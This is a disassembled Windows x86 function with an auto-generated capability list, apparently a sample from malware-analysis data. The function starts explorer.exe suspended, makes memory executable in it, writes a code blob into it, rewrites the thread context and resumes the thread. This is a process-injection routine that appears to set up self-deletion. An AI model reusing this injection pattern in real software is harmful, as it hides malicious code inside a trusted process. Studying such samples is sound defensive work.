Function at 0x410513
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46280d
mov eax, dword fs:[0]
push eax
mov eax, 0x10c4
call fcn.00443590
mov eax, dword [0x49d850]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1065]
mov esi, 0x47c4e4
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x18], 0x477350
call fcn.00402580
mov dword [ebp - 4], 1
mov edi, 0x104
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040f868
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040f80d
push edi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1084]
call fcn.0040c9c5
push ebx
push ebx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040fa52
mov byte [ebp - 4], 3
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x1088], esp
push 1
lea eax, [ebp - 0x40]
push eax
call fcn.004339a6
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
call fcn.00455651
add esp, 0x34
test al, al
jne 0x410626
cmp byte [ebp + 8], al
je 0x41061f
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x1088], esp
push 1
lea eax, [ebp - 0x100]
push eax
call fcn.004339a6
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
call fcn.00455651
add esp, 0x34
test al, al
jne 0x410626
mov bl, 1
jmp 0x410a1d
push ebx
lea eax, [ebp - 0x1065]
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x48], 0x477350
call fcn.00402580
mov byte [ebp - 4], 9
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0x70]
call fcn.0040f868
mov byte [ebp - 4], 0xa
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040f80d
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1084]
call fcn.0040c9c5
cmp dword [ebp - 0x5c], 0
push 8
pop esi
je 0x410695
cmp dword [ebp - 0x58], esi
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x40
lea eax, [ebp - 0x10cc]
push ebx
push eax
mov dword [ebp - 0x10d0], 0x44
call fcn.004416e0
add esp, 0xc
lea eax, [ebp - 0x1065]
push 1
push eax
push str.explorer.exe
lea ecx, [ebp - 0xa0]
call fcn.0040c6e1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x70]
call fcn.0041047d
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa0]
call fcn.00401580
cmp dword [ebp - 0xb8], esi
lea eax, [ebp - 0xcc]
cmovae eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4107ea
push ebx
lea eax, [ebp - 0x1065]
push eax
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x47c4e4
mov dword [ebp - 0x78], 0x477350
call fcn.00402580
mov byte [ebp - 4], 0x10
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040f868
mov byte [ebp - 4], 0x11
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040f80d
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1084]
call fcn.0040c9c5
push 1
lea eax, [ebp - 0x1065]
push eax
push str.explorer.exe
lea ecx, [ebp - 0x130]
call fcn.0040c6e1
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0041047d
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0xd0]
call fcn.0040ca5e
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x160]
call fcn.00401580
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x130]
call fcn.00401580
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa0]
call fcn.00401580
lea ecx, [ebp - 0xd0]
call fcn.0040f80d
lea ecx, [ebp - 0x1078]
push ecx
lea ecx, [ebp - 0x10d0]
push ecx
push ebx
push ebx
push 0x44
push ebx
push ebx
push ebx
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x410a02
push 0xc31
lea eax, [ebp - 0x1060]
push ebx
push eax
mov dword [ebp - 0x1064], ebx
call fcn.004416e0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x85c], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x854], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x850], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x84c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x848], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x840], al
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push 0x104
push eax
lea eax, [ebp - 0x83f]
push eax
mov dword [ebp - 0x858], edi
call fcn.004435bb
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x4108cc
cmp dword [ebp - 0xe8], esi
lea eax, [ebp - 0xfc]
cmovae eax, dword [ebp - 0xfc]
push 0x104
push eax
lea eax, [ebp - 0x637]
push eax
call fcn.004435bb
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x860]
push eax
push dword [ebp - 0x1078]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x410c3e
mov ecx, 0x410ba3
sub eax, ecx
cmp eax, 0x800
jbe 0x410938
push ebx
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1078]
call edi
push dword [ebp - 0x1074]
call edi
cmp dword [ebp - 0x28], 8
push 4
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x410a00
push eax
push ecx
lea eax, [ebp - 0x1060]
push eax
call fcn.004419b0
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push dword [ebp - 0x1074]
mov dword [ebp - 0x42c], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x368]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x1064], esi
lea eax, [esi - 4]
mov dword [ebp - 0x368], eax
lea eax, [esi + 4]
mov dword [ebp - 0x374], eax
lea eax, [ebp - 0x108c]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
mov ebx, 0xc35
push ebx
lea eax, [ebp - 0x1064]
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x42c]
push eax
push dword [ebp - 0x1074]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1074]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1074]
call edi
push dword [ebp - 0x1078]
call edi
mov bl, 1
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd0]
call fcn.00401580
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.00401580
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x100]
call fcn.00401580
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00401580
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004416c3
leave
ret